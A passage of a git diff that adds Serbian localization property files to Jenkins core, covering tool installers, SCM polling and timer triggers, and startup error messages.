b/core/src/main/resources/hudson/tools/Messages_sr.properties new file mode 100644 index 0000000000..4266f9e180 --- /dev/null +++ b/core/src/main/resources/hudson/tools/Messages_sr.properties @@ -0,0 +1,19 @@ +# This file is under the MIT License by authors + +ToolLocationNodeProperty.displayName=\u041B\u043E\u043A\u0430\u0446\u0438\u0458\u0435 \u0430\u043B\u0430\u0442\u0430 +CommandInstaller.DescriptorImpl.displayName=\u0418\u0437\u0432\u0440\u0448\u0438 shell \u043A\u043E\u043C\u0430\u043D\u0434\u0443 +CommandInstaller.no_command=\u041C\u043E\u0440\u0430\u0442\u0435 \u043D\u0430\u0432\u0435\u0441\u0442\u0438 \u043A\u043E\u043C\u0430\u043D\u0434\u0443 \u0437\u0430 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430\u045A\u0435 +CommandInstaller.no_toolHome=\u041C\u043E\u0440\u0430\u0442\u0435 \u043D\u0430\u0432\u0435\u0441\u0442\u0438 \u0433\u043B\u0430\u0432\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u0437\u0430 \u0430\u043B\u0430\u0442\u0435. +BatchCommandInstaller.DescriptorImpl.displayName=\u0418\u0437\u0432\u0440\u0448\u0438 batch \u043A\u043E\u043C\u0430\u043D\u0434\u0443 +JDKInstaller.FailedToInstallJDK=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u045A\u0435 JDK \u043D\u0438\u0458\u0435 \u0443\u0441\u043F\u0435\u043B\u043E. Exit code={0} +JDKInstaller.RequireOracleAccount=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u045A\u0435 JDK-\u0430 \u0437\u0430\u0445\u0442\u0435\u0432\u0430 Oracle \u043D\u0430\u043B\u043E\u0433. \u041C\u043E\u043B\u0438\u043C\u043E \u0443\u043D\u0435\u0441\u0438\u0442\u0435 \u043A\u043E\u0440\u0438\u0438\u0441\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435/\u043B\u043E\u0437\u0438\u043D\u043A\u0443 +JDKInstaller.UnableToInstallUntilLicenseAccepted=\u041C\u043E\u0440\u0430\u0442\u0435 \u043F\u0440\u0438\u0445\u0432\u0430\u0442\u0438\u0442\u0438 \u043B\u0438\u0446\u0435\u043D\u0446\u0443 \u0437\u0430 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0438\u0447\u043A\u0443 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0443 JDK-\u0430. +ZipExtractionInstaller.DescriptorImpl.displayName=\u0420\u0430\u0441\u043A\u043F\u0430\u043A\u0443\u0458 *.zip/*.tar.gz +ZipExtractionInstaller.malformed_url=\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u043D\u0430 URL \u0430\u0434\u0440\u0435\u0441\u0430. +ZipExtractionInstaller.bad_connection=\u0421\u0435\u0440\u0432\u0435\u0440 \u0458\u0435 \u043E\u0434\u0431\u0438\u043E \u043F\u043E\u0432\u0435\u0437\u0438\u0432\u0430\u045A\u0435. +ZipExtractionInstaller.could_not_connect=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u043B\u043E \u0443\u0441\u043F\u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0432\u0435\u0437\u0443 \u0441\u0430 URL-\u0430\u0434\u0440\u0435\u0441\u043E\u043C. +InstallSourceProperty.DescriptorImpl.displayName=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u043E +JDKInstaller.DescriptorImpl.displayName=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458 \u0441\u0430 \u0430\u0434\u0440\u0435\u0441\u0435 java.sun.com +JDKInstaller.DescriptorImpl.doCheckId=\u041D\u0430\u0432\u0435\u0434\u0438 JDK ID +JDKInstaller.DescriptorImpl.doCheckAcceptLicense=\u041C\u043E\u0440\u0430\u0442\u0435 \u043F\u0440\u0438\u0445\u0432\u0430\u0442\u0438\u0442\u0438 \u043B\u0438\u0446\u0435\u043D\u0446\u0443 \u0434\u0430 \u043F\u0440\u0435\u0443\u0437\u043C\u0435\u0442\u0435 JDK. +ToolDescriptor.NotADirectory={0} \u043D\u0438\u0458\u0435 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u043D\u0430 Jenkins \u043C\u0430\u0448\u0438\u043D\u0438 (\u0430\u043B\u0438 \u043C\u043E\u0433\u0443\u045B\u0435 \u0434\u0430 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u043D\u0430 \u043D\u0435\u043A\u0438\u043C \u043E\u0434 \u0430\u0433\u0435\u043D\u0430\u0442\u0430) \ No newline at end of file diff --git a/core/src/main/resources/hudson/tools/ToolInstallation/config_sr.properties b/core/src/main/resources/hudson/tools/ToolInstallation/config_sr.properties new file mode 100644 index 0000000000..43f1c62da5 --- /dev/null +++ b/core/src/main/resources/hudson/tools/ToolInstallation/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 +Installation\ directory=\u0414\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0435 diff --git a/core/src/main/resources/hudson/tools/ToolInstallation/global_sr.properties b/core/src/main/resources/hudson/tools/ToolInstallation/global_sr.properties new file mode 100644 index 0000000000..29ed2bdfe9 --- /dev/null +++ b/core/src/main/resources/hudson/tools/ToolInstallation/global_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +title={0} \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0435 +description=\u0421\u043F\u0438\u0441\u0430\u043A {0} \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 \u043D\u0430 \u043E\u0432\u043E\u043C \u0441\u0438\u0441\u0442\u0435\u043C\u0443 +label.add=\u0414\u043E\u0434\u0430\u0458 {0} +label.delete=\u0423\u043A\u043B\u043E\u043D\u0438 {0} diff --git a/core/src/main/resources/hudson/tools/ToolLocationNodeProperty/config_sr.properties b/core/src/main/resources/hudson/tools/ToolLocationNodeProperty/config_sr.properties new file mode 100644 index 0000000000..75b78b9087 --- /dev/null +++ b/core/src/main/resources/hudson/tools/ToolLocationNodeProperty/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +List\ of\ tool\ locations=\u0421\u043F\u0438\u0441\u0430\u043A \u043B\u043E\u043A\u0430\u0446\u0438\u0458\u0435 \u0430\u043B\u0430\u0442\u0430 +Name=\u0418\u043C\u0435 +Home=\u0413\u043B\u0430\u0432\u043D\u0430 \u0441\u0442\u0440\u0430\u043D\u0430 diff --git a/core/src/main/resources/hudson/tools/ZipExtractionInstaller/config_sr.properties b/core/src/main/resources/hudson/tools/ZipExtractionInstaller/config_sr.properties new file mode 100644 index 0000000000..5e571ab0d9 --- /dev/null +++ b/core/src/main/resources/hudson/tools/ZipExtractionInstaller/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Download\ URL\ for\ binary\ archive=URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u0437\u0430 \u043F\u0440\u0435\u0443\u0437\u0438\u043C\u0430\u045A\u0435 \u0430\u0440\u0445\u0438\u0432\u0443 +Subdirectory\ of\ extracted\ archive=\u041F\u043E\u0434\u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u0440\u0430\u0441\u043F\u0430\u043A\u043E\u0432\u0430\u043D\u0435 \u0430\u0440\u0445\u0438\u0432\u0435 diff --git a/core/src/main/resources/hudson/tools/label_sr.properties b/core/src/main/resources/hudson/tools/label_sr.properties new file mode 100644 index 0000000000..33f2837371 --- /dev/null +++ b/core/src/main/resources/hudson/tools/label_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Label=\u041B\u0430\u0431\u0435\u043B\u0430 diff --git a/core/src/main/resources/hudson/triggers/Messages_sr.properties b/core/src/main/resources/hudson/triggers/Messages_sr.properties new file mode 100644 index 0000000000..bae7a834ff --- /dev/null +++ b/core/src/main/resources/hudson/triggers/Messages_sr.properties @@ -0,0 +1,12 @@ +# This file is under the MIT License by authors + +SCMTrigger.DisplayName=\u0410\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u0458 \u0441\u0438\u0441\u0442\u0435\u043C \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 +SCMTrigger.getDisplayName=\u0416\u0443\u0440\u043D\u0430\u043B \u0430\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u045A\u0430 {0} +SCMTrigger.BuildAction.DisplayName=\u0416\u0443\u0440\u043D\u0430\u043B \u0430\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u045A\u0430 +SCMTrigger.SCMTriggerCause.ShortDescription=\u041F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u043E \u043D\u0430\u043A\u043E\u043D \u043F\u0440\u043E\u043C\u0435\u043D\u0438 \u0443 \u0441\u0438\u0441\u0442\u0435\u043C\u0443 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0438\u0437\u0431\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 +TimerTrigger.DisplayName=\u041F\u0435\u0440\u0438\u043E\u0434\u0438\u0447\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +TimerTrigger.MissingWhitespace=\u0418\u043C\u0430 \u043F\u0440\u0430\u0437\u043D\u043E\u0433 \u043C\u0435\u0441\u0442\u0430 \u0438\u0437\u043C\u0435\u0452\u0443 * \u0437\u043D\u0430\u043A\u043E\u0432\u0430. +TimerTrigger.no_schedules_so_will_never_run=\u041D\u0435\u043C\u0430 \u0440\u0430\u0441\u043F\u043E\u0440\u0435\u0434\u0430, \u043D\u0435\u045B\u0435 \u0441\u0435 \u043D\u0438\u0448\u0442\u0430 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0438 +TimerTrigger.TimerTriggerCause.ShortDescription=\u041F\u043E\u0447\u0435\u0442\u043E \u0448\u0442\u043E\u043F\u0435\u0440\u0438\u0446\u043E\u043C +TimerTrigger.would_last_have_run_at_would_next_run_at=\u041F\u0440\u0435\u0442\u0445\u043E\u0434\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0431\u0438 \u0431\u0438\u043B\u0430 {0}. \u0421\u043B\u0435\u0434\u0435\u045B\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0431\u0438 \u0441\u043B\u0435\u0434\u0435\u043B\u043E {1}. +Trigger.init=\u0421\u0442\u0430\u0440\u0442\u043E\u0432\u0430\u045A\u0435 \u0448\u0442\u043E\u043F\u0435\u0440\u0438\u0446\u0435 \ No newline at end of file diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/AdministrativeMonitorImpl/message_sr.properties b/core/src/main/resources/hudson/triggers/SCMTrigger/AdministrativeMonitorImpl/message_sr.properties new file mode 100644 index 0000000000..ef1f9eb324 --- /dev/null +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/AdministrativeMonitorImpl/message_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +blurb=\u041D\u0435\u043C\u0430 \u0434\u043E\u0432\u043E\u0459\u043D\u043E \u043D\u0438\u0442\u043E\u0432\u0430 \u0437\u0430 \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u0438 \u0431\u0440\u043E\u0458 \u0430\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u045A\u0430 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0437\u0430 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430.\u041F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 \u0434\u0430 \u0430\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u045A\u0435 \u043D\u0438\u0458\u0435 \u0438\u0437\u0432\u0438\u0441\u0438\u043B\u043E, \u0438 \u043F\u043E\u0432\u0435\u045B\u0430\u0458\u0442\u0435 \u0432\u0440\u043E\u0458 \u043D\u0438\u0442\u043E\u0432\u0430 \u0430\u043A\u043E \u0458\u0435 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E. diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/BuildAction/index_sr.properties b/core/src/main/resources/hudson/triggers/SCMTrigger/BuildAction/index_sr.properties new file mode 100644 index 0000000000..f43b5d6be0 --- /dev/null +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/BuildAction/index_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Polling\ Log=\u0416\u0443\u0440\u043D\u0430\u043B \u0430\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u045A\u0430 +View\ as\ plain\ text=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458 \u043A\u0430\u043E \u043E\u0431\u0438\u0447\u0430\u043D \u0442\u0435\u043A\u0441\u0442 +blurb=\u041D\u0430 \u043E\u0432\u043E\u0458 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0438 \u0441\u0435 \u043D\u0430\u043B\u0430\u0436\u0438 \u0436\u0443\u0440\u043D\u0430\u043B \u0430\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u045A\u0430 \u043A\u043E\u0458\u0438 \u0458\u0435 \u0438\u0437\u0430\u0437\u0432\u0430\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443. diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/DescriptorImpl/index_sr.properties b/core/src/main/resources/hudson/triggers/SCMTrigger/DescriptorImpl/index_sr.properties new file mode 100644 index 0000000000..2e80cfed42 --- /dev/null +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/DescriptorImpl/index_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +Current\ SCM\ Polling\ Activities=\u0422\u0440\u0435\u043D\u0443\u0442\u043D\u043E \u0430\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u045A\u0435 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 +clogged= +No\ polling\ activity\ is\ in\ progress.=\u041D\u0435\u043C\u0430 \u0442\u0435\u043A\u0443\u045B\u0435\u0433 \u0430\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u045A\u0430. +The\ following\ polling\ activities\ are\ currently\ in\ progress\:=\u0422\u0440\u0435\u043D\u0443\u0442\u043D\u043E \u0430\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u045A\u0435: +Project=\u041F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 +Running\ for=\u0423 \u0442\u043E\u043A\u0443 \u043E\u0434 diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/SCMAction/index_sr.properties b/core/src/main/resources/hudson/triggers/SCMTrigger/SCMAction/index_sr.properties new file mode 100644 index 0000000000..200fb78789 --- /dev/null +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/SCMAction/index_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +title={0} +Polling\ has\ not\ run\ yet.=\u0410\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u045A\u0435 \u043D\u0438\u0458\u0435 \u0458\u043E\u0448 \u0438\u0437\u0432\u0435\u0434\u0435\u043D\u043E diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/config_sr.properties b/core/src/main/resources/hudson/triggers/SCMTrigger/config_sr.properties new file mode 100644 index 0000000000..197650f6bc --- /dev/null +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Schedule=\u0420\u0430\u0441\u043F\u043E\u0440\u0435\u0434 +Ignore\ post-commit\ hooks=\u0418\u0437\u0433\u043D\u043E\u0440\u0438\u0448\u0438 \u043F\u043E\u0441\u043B\u0435 \u043A\u043E\u043C\u0438\u0442\u043D\u0435 hook-\u043E\u0432\u0435 diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/global_sr.properties b/core/src/main/resources/hudson/triggers/SCMTrigger/global_sr.properties new file mode 100644 index 0000000000..bf10b5aeb8 --- /dev/null +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/global_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +SCM\ Polling=\u0410\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u045A\u0435 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 +Max\ #\ of\ concurrent\ polling=\u041C\u0430\u043A\u0441. \u0431\u0440\u043E\u0458 \u043F\u0430\u0440\u0430\u043B\u0435\u043B\u043D\u043E\u0433 \u0430\u043D\u043A\u0435\u0442\u0438\u0440\u0430\u045A\u0430 diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/config_sr.properties b/core/src/main/resources/hudson/triggers/TimerTrigger/config_sr.properties new file mode 100644 index 0000000000..04f58629e4 --- /dev/null +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Schedule=\u0420\u0430\u0441\u043F\u043E\u0440\u0435\u0434 diff --git a/core/src/main/resources/hudson/util/AWTProblem/index_sr.properties b/core/src/main/resources/hudson/util/AWTProblem/index_sr.properties new file mode 100644 index 0000000000..0740e9258c --- /dev/null +++ b/core/src/main/resources/hudson/util/AWTProblem/index_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Error=\u0413\u0440\u0435\u0448\u043A\u0430 +errorMessage=AWT \u043D\u0438\u0458\u0435 \u043F\u0440\u0430\u0432\u0438\u043B\u043D\u043E \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u043E \u043D\u0430 \u043E\u0432\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438. \u041C\u043E\u0436\u0434\u0430 \u0431\u0438 \u0442\u0440\u0435\u0431\u0430\u043B\u0438 \u043F\u043E\u0447\u0435\u0442\u0438 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0435 \u0441\u0430 \u043E\u043F\u0446\u0438\u0458\u043E\u043C "-Djava.awt.headless=true"? \u0418\u0441\u0442\u043E \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435: https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+got+java.awt.headless+problem diff --git a/core/src/main/resources/hudson/util/AdministrativeError/message_sr.properties b/core/src/main/resources/hudson/util/AdministrativeError/message_sr.properties new file mode 100644 index 0000000000..7b02204db7 --- /dev/null +++ b/core/src/main/resources/hudson/util/AdministrativeError/message_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +See\ the\ log\ for\ more\ details=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0436\u0443\u0440\u043D\u0430\u043B \u0437\u0430 \u0458\u043E\u0448 \u0434\u0435\u0442\u0430\u0459\u0430 diff --git a/core/src/main/resources/hudson/util/DoubleLaunchChecker/index_sr.properties b/core/src/main/resources/hudson/util/DoubleLaunchChecker/index_sr.properties new file mode 100644 index 0000000000..d250950537 --- /dev/null +++ b/core/src/main/resources/hudson/util/DoubleLaunchChecker/index_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +Error=\u0413\u0440\u0435\u0448\u043A\u0430 +message=Jenkins \u0458\u0435 \u043E\u0442\u043A\u0440\u0438\u043E \u0434\u0430 \u0441\u0442\u0435 \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u043B\u0438 \u0432\u0438\u0448\u0435 \u0438\u043D\u0441\u0442\u0430\u043D\u0446\u0430 Jenkins-\u0430 \u043A\u043E\u0458\u0435 \u0434\u0435\u043B\u0435 \u0438\u0441\u0442\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C "{0}". \u0414\u0430 \u043D\u0435\u0431\u0438 \u0431\u0438\u043B\u043E \u0447\u0443\u0434\u043D\u043E\u0433 \u043F\u043E\u043D\u0430\u0448\u0430\u045A\u0430 Jenkins-\u0430 \u0438\u0441\u043F\u0440\u0430\u0432\u0438\u0442\u0435 \u043F\u0440\u043E\u0431\u043B\u0435\u043C \u043E\u0434\u043C\u0430\u0445. +This\ Jenkins=\u041E\u0432\u0430\u0458 Jenkins +Other\ Jenkins=\u0414\u0440\u0443\u0433\u0438 Jenkins +label=\u0418\u0437\u0433\u043D\u043E\u0440\u0438\u0448\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C \u0438 \u043D\u0430\u0441\u0442\u0430\u0432\u0438 \u043A\u043E\u0440\u0438\u0448\u045B\u0435\u045A\u0435\u043C Jenkins-\u0430. diff --git a/core/src/main/resources/hudson/util/HudsonFailedToLoad/index_sr.properties b/core/src/main/resources/hudson/util/HudsonFailedToLoad/index_sr.properties new file mode 100644 index 0000000000..eabbc4121e --- /dev/null +++ b/core/src/main/resources/hudson/util/HudsonFailedToLoad/index_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Error=\u0413\u0440\u0435\u0448\u043A\u0430 diff --git a/core/src/main/resources/hudson/util/HudsonIsLoading/index_sr.properties b/core/src/main/resources/hudson/util/HudsonIsLoading/index_sr.properties new file mode 100644 index 0000000000..50eaf9d58e --- /dev/null +++ b/core/src/main/resources/hudson/util/HudsonIsLoading/index_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Your\ browser\ will\ reload\ automatically\ when\ Jenkins\ is\ ready.=\u0412\u0430\u0448 \u0432\u0435\u0431-\u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0447 \u045B\u0435 \u0441\u0435 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u0438 \u043E\u0441\u0432\u0435\u0436\u0438\u0442\u0438 \u043A\u0430\u0434\u0430 \u0431\u0443\u0434\u0435 Jenkins \u0431\u0438\u043E \u0441\u043F\u0440\u0435\u043C\u0430\u043D. +Please\ wait\ while\ Jenkins\ is\ getting\ ready\ to\ work=\u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u0441\u0430\u0447\u0435\u043A\u0430\u0458\u0442\u0435 \u0434\u043E\u043A \u0441\u0435 Jenkins \u043F\u0440\u0438\u043F\u0440\u0435\u043C\u0430. diff --git a/core/src/main/resources/hudson/util/HudsonIsRestarting/index_sr.properties b/core/src/main/resources/hudson/util/HudsonIsRestarting/index_sr.properties new file mode 100644 index 0000000000..4e15203825 --- /dev/null +++ b/core/src/main/resources/hudson/util/HudsonIsRestarting/index_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Please\ wait\ while\ Jenkins\ is\ restarting=\u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u0441\u0430\u0447\u0435\u043A\u0430\u0458\u0442\u0435 \u0434\u043E\u043A \u0441\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u045B\u0435 Jenkins. +Your\ browser\ will\ reload\ automatically\ when\ Jenkins\ is\ ready.=\u0412\u0430\u0448 \u0432\u0435\u0431-\u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0447 \u045B\u0435 \u0441\u0435 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u0438 \u043E\u0441\u0432\u0435\u0436\u0438\u0442\u0438 \u043A\u0430\u0434\u0430 \u0431\u0443\u0434\u0435 Jenkins \u0431\u0438\u043E \u0441\u043F\u0440\u0435\u043C\u0430\u043D. diff --git a/core/src/main/resources/hudson/util/IncompatibleAntVersionDetected/index_sr.properties b/core/src/main/resources/hudson/util/IncompatibleAntVersionDetected/index_sr.properties new file mode 100644 index 0000000000..05bb055a5f --- /dev/null +++ b/core/src/main/resources/hudson/util/IncompatibleAntVersionDetected/index_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Error=\u0413\u0440\u0435\u0448\u043A\u0430 +errorMessage=Jenkins \u0458\u0435 \u043E\u0442\u043A\u0440\u0438\u043E \u0434\u0430 \u0432\u0430\u0448 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440 \u043D\u0435 \u043F\u043E\u0434\u0440\u0436\u0430\u0432\u0430 Ant\ +(Ant \u043A\u043B\u0430\u0441\u0435 \u0443\u0447\u0438\u0442\u0430\u043D\u0435 \u043E\u0434 {0}) diff --git a/core/src/main/resources/hudson/util/IncompatibleServletVersionDetected/index_sr.properties b/core/src/main/resources/hudson/util/IncompatibleServletVersionDetected/index_sr.properties new file mode 100644 index 0000000000..09631cb8e9 --- /dev/null +++ b/core/src/main/resources/hudson/util/IncompatibleServletVersionDetected/index_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Error=\u0413\u0440\u0435\u0448\u043A\u0430 +errorMessage=Jenkins \u0458\u0435 \u043E\u0442\u043A\u0440\u0438\u043E \u0434\u0430 \u0432\u0430\u0448 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440 \u043D\u0435 \u043F\u043E\u0434\u0440\u0436\u0430\u0432\u0430 Servlet 2.4\ +(API \u0441\u0435\u0440\u0432\u043B\u0435\u0442\u0430 \u0443\u0447\u0438\u0442\u0430\u043D\u043E \u043E\u0434 {0}) diff --git a/core/src/main/resources/hudson/util/IncompatibleVMDetected/index_sr.properties b/core/src/main/resources/hudson/util/IncompatibleVMDetected/index_sr.properties new file mode 100644 index 0000000000..c969814074 --- /dev/null +++ b/core/src/main/resources/hudson/util/IncompatibleVMDetected/index_sr.properties @@ -0,0 +1,10 @@ +# This file is under the MIT License by authors + +Error=\u0413\u0440\u0435\u0448\u043A\u0430 +errorMessage=Jenkins \u0458\u0435 \u043F\u0440\u043E\u043D\u0430\u0448\u0430\u043E \u0434\u0430 \u0432\u0430\u0448\u0430 JVM \u043D\u0438\u0458\u0435 \u043F\u043E\u0434\u0440\u0436\u0430\u043D\u0430, \u0437\u0431\u043E\u0433 \u043D\u0435\u043A\u0438\u0445 \u0431\u0438\u0431\u043B\u0438\u043E\u0442\u0435\u043A\u0430 \u043E\u0434 \u043A\u043E\u0458\u0435 Jenkins \u0437\u0430\u0432\u0438\u0441\u0438.\ +\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 this FAQ \u0433\u0434\u0435 \u0438\u043C\u0430 \u0432\u0438\u043F\u0435 \u0434\u0435\u0442\u0430\u0459\u0430. +Detected\ JVM= +Vendor=\u041F\u0440\u043E\u0438\u0437\u0432\u043E\u0452\u0430\u0447 +Version=\u0412\u0435\u0440\u0437\u0438\u0458\u0430 +VM\ Name=\u0418\u043C\u0435 \u0432\u0438\u0440\u0442\u0443\u0435\u043B\u043D\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 +OS\ Name=\u0418\u043C\u0435 \u043E\u043F\u0435\u0440\u0430\u0442\u0438\u0432\u043D\u043E\u0433 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_sr.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_sr.properties new file mode 100644 index 0000000000..a3def1735b --- /dev/null +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +Error=\u0413\u0440\u0435\u0448\u043A\u0430 +errorMessage.1=Jenkins je \u043E\u0442\u043A\u0440\u0438o \u0434\u0430 \u043D\u0435\u043C\u0430 \u043E\u0432\u043B\u0430\u0448\u045B\u0435\u045A\u0435 \u0434\u0430 \u0441\u0435 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430, \u0435\u0432\u0438\u0434\u0435\u043D\u0442\u0438\u0440\u0430\u043D\u043E \u043F\u0440\u0430\u0442\u0435\u045B\u043E\u0458 \u0442\u0440\u0430\u0441\u0438 \u0441\u0442\u0435\u043A\u043E\u043C. \u0412\u0435\u0440\u043E\u0432\u0430\u0442\u043D\u043E \u0458\u0435 \u0437\u0431\u043E\u0433 \u043D\u0435\u043A\u043E\u0433 \u043D\u0430\u0434\u0437\u043E\u0440\u043D\u043E\u0433 \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u0430, \u043A\u043E\u0458\u0438 \u0431\u0438 \u0442\u0440\u0435\u0431\u043E \u0434\u0430 \u0441\u0435 \u043F\u043E\u0434\u0435\u0441\u0438 \u0438\u043B\u0438 \u0438\u0441\u043A\u0459\u0443\u0447\u0438. +errorMessage.2=\u0423\u043F\u0443\u0441\u0442\u0432\u043E \u043A\u0430\u043A\u043E \u0443\u0433\u0430\u0441\u0438\u0442\u0438 security manager \u0443 \u0432\u0430\u0448\u0435\u043C \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0443 \u0441\u0435 \u043D\u0430\u043B\u0430\u0437\u0438 \u0443 \u0447\u043B\u0430\u043D\u043A\u0443 \ + \ + 